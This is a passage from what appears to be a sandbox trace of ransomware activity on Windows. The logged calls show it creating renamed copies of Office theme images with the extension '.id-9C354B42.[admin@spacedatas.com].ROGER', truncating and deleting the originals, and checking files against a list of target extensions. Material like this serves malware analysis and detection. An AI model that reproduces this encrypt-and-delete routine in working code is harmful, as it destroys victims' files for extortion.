Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.508] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.508] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.509] GetLastError () returned 0x0 [0048.509] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4981, lpOverlapped=0x0) returned 1 [0048.510] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4990, lpOverlapped=0x0) returned 1 [0048.511] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.511] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.512] SetEndOfFile (hFile=0x3e8) returned 1 [0048.512] CloseHandle (hObject=0x3e8) returned 1 [0048.512] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.512] SetEndOfFile (hFile=0x36c) returned 1 [0048.513] CloseHandle (hObject=0x36c) returned 1 [0048.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.513] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.513] lstrlenW (lpString=".doc") returned 4 [0048.513] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString=".docx") returned 5 [0048.513] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.513] lstrlenW (lpString=".pdf") returned 4 [0048.513] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.513] lstrlenW (lpString=".xls") returned 4 [0048.513] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.513] lstrlenW (lpString=".xlsx") returned 5 [0048.514] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.514] lstrlenW (lpString=".ppt") returned 4 [0048.514] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString=".zip") returned 4 [0048.514] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString=".rar") returned 4 [0048.514] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString=".bz2") returned 4 [0048.514] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString=".7z") returned 3 [0048.514] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString=".dbf") returned 4 [0048.514] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString=".1cd") returned 4 [0048.514] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString=".jpg") returned 4 [0048.514] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.514] lstrlenW (lpString=".doc") returned 4 [0048.514] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString=".docx") returned 5 [0048.514] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.514] lstrlenW (lpString=".pdf") returned 4 [0048.514] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.514] lstrlenW (lpString=".xls") returned 4 [0048.514] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.514] lstrlenW (lpString=".xlsx") returned 5 [0048.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.515] lstrlenW (lpString=".ppt") returned 4 [0048.515] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.515] lstrlenW (lpString=".zip") returned 4 [0048.515] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.515] lstrlenW (lpString=".rar") returned 4 [0048.515] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.515] lstrlenW (lpString=".bz2") returned 4 [0048.515] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.515] lstrlenW (lpString=".7z") returned 3 [0048.515] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.515] lstrlenW (lpString=".dbf") returned 4 [0048.515] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.515] lstrlenW (lpString=".1cd") returned 4 [0048.515] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0048.515] lstrlenW (lpString=".jpg") returned 4 [0048.515] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.515] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.515] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.516] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=2574) returned 1 [0048.516] CloseHandle (hObject=0x36c) returned 1 [0048.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0048.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.516] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.516] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.518] GetLastError () returned 0x0 [0048.518] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xa0e, lpOverlapped=0x0) returned 1 [0048.519] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xa10, lpOverlapped=0x0) returned 1 [0048.520] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.520] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.520] SetEndOfFile (hFile=0x3e8) returned 1 [0048.520] CloseHandle (hObject=0x3e8) returned 1 [0048.521] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.521] SetEndOfFile (hFile=0x36c) returned 1 [0048.521] CloseHandle (hObject=0x36c) returned 1 [0048.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0048.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.522] lstrlenW (lpString=".doc") returned 4 [0048.522] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.522] lstrlenW (lpString=".docx") returned 5 [0048.522] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.522] lstrlenW (lpString=".pdf") returned 4 [0048.522] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.522] lstrlenW (lpString=".xls") returned 4 [0048.522] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.522] lstrlenW (lpString=".xlsx") returned 5 [0048.522] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.522] lstrlenW (lpString=".ppt") returned 4 [0048.522] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.522] lstrlenW (lpString=".zip") returned 4 [0048.522] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.522] lstrlenW (lpString=".rar") returned 4 [0048.522] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.522] lstrlenW (lpString=".bz2") returned 4 [0048.522] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.522] lstrlenW (lpString=".7z") returned 3 [0048.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString=".dbf") returned 4 [0048.523] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString=".1cd") returned 4 [0048.523] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString=".jpg") returned 4 [0048.523] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString=".doc") returned 4 [0048.523] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.523] lstrlenW (lpString=".docx") returned 5 [0048.523] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.523] lstrlenW (lpString=".pdf") returned 4 [0048.523] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString=".xls") returned 4 [0048.523] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString=".xlsx") returned 5 [0048.523] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.523] lstrlenW (lpString=".ppt") returned 4 [0048.523] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.523] lstrlenW (lpString=".zip") returned 4 [0048.523] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString=".rar") returned 4 [0048.523] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.523] lstrlenW (lpString=".bz2") returned 4 [0048.523] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.523] lstrlenW (lpString=".7z") returned 3 [0048.524] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.524] lstrlenW (lpString=".dbf") returned 4 [0048.524] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.524] lstrlenW (lpString=".1cd") returned 4 [0048.524] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0048.524] lstrlenW (lpString=".jpg") returned 4 [0048.524] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.524] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.524] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.525] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=37440) returned 1 [0048.525] CloseHandle (hObject=0x36c) returned 1 [0048.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0048.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.525] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.525] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.526] GetLastError () returned 0x0 [0048.526] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x9240, lpOverlapped=0x0) returned 1 [0048.528] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x9250, lpOverlapped=0x0) returned 1 [0048.529] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.529] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.529] SetEndOfFile (hFile=0x3e8) returned 1 [0048.529] CloseHandle (hObject=0x3e8) returned 1 [0048.529] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.529] SetEndOfFile (hFile=0x36c) returned 1 [0048.530] CloseHandle (hObject=0x36c) returned 1 [0048.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.531] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0048.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.531] lstrlenW (lpString=".doc") returned 4 [0048.531] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.531] lstrlenW (lpString=".docx") returned 5 [0048.531] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.531] lstrlenW (lpString=".pdf") returned 4 [0048.531] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.531] lstrlenW (lpString=".xls") returned 4 [0048.531] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.531] lstrlenW (lpString=".xlsx") returned 5 [0048.531] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.531] lstrlenW (lpString=".ppt") returned 4 [0048.531] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.531] lstrlenW (lpString=".zip") returned 4 [0048.531] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.531] lstrlenW (lpString=".rar") returned 4 [0048.531] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.531] lstrlenW (lpString=".bz2") returned 4 [0048.531] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.531] lstrlenW (lpString=".7z") returned 3 [0048.531] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.531] lstrlenW (lpString=".dbf") returned 4 [0048.531] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.532] lstrlenW (lpString=".1cd") returned 4 [0048.532] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.532] lstrlenW (lpString=".jpg") returned 4 [0048.532] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.532] lstrlenW (lpString=".doc") returned 4 [0048.532] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString=".docx") returned 5 [0048.532] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.532] lstrlenW (lpString=".pdf") returned 4 [0048.532] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString=".xls") returned 4 [0048.532] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.532] lstrlenW (lpString=".xlsx") returned 5 [0048.532] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.532] lstrlenW (lpString=".ppt") returned 4 [0048.532] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.532] lstrlenW (lpString=".zip") returned 4 [0048.532] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.532] lstrlenW (lpString=".rar") returned 4 [0048.532] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.532] lstrlenW (lpString=".bz2") returned 4 [0048.532] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.532] lstrlenW (lpString=".7z") returned 3 [0048.532] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.533] lstrlenW (lpString=".dbf") returned 4 [0048.533] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.533] lstrlenW (lpString=".1cd") returned 4 [0048.533] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.533] lstrlenW (lpString=".jpg") returned 4 [0048.533] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.533] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.533] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.533] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1593) returned 1 [0048.533] CloseHandle (hObject=0x36c) returned 1 [0048.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common 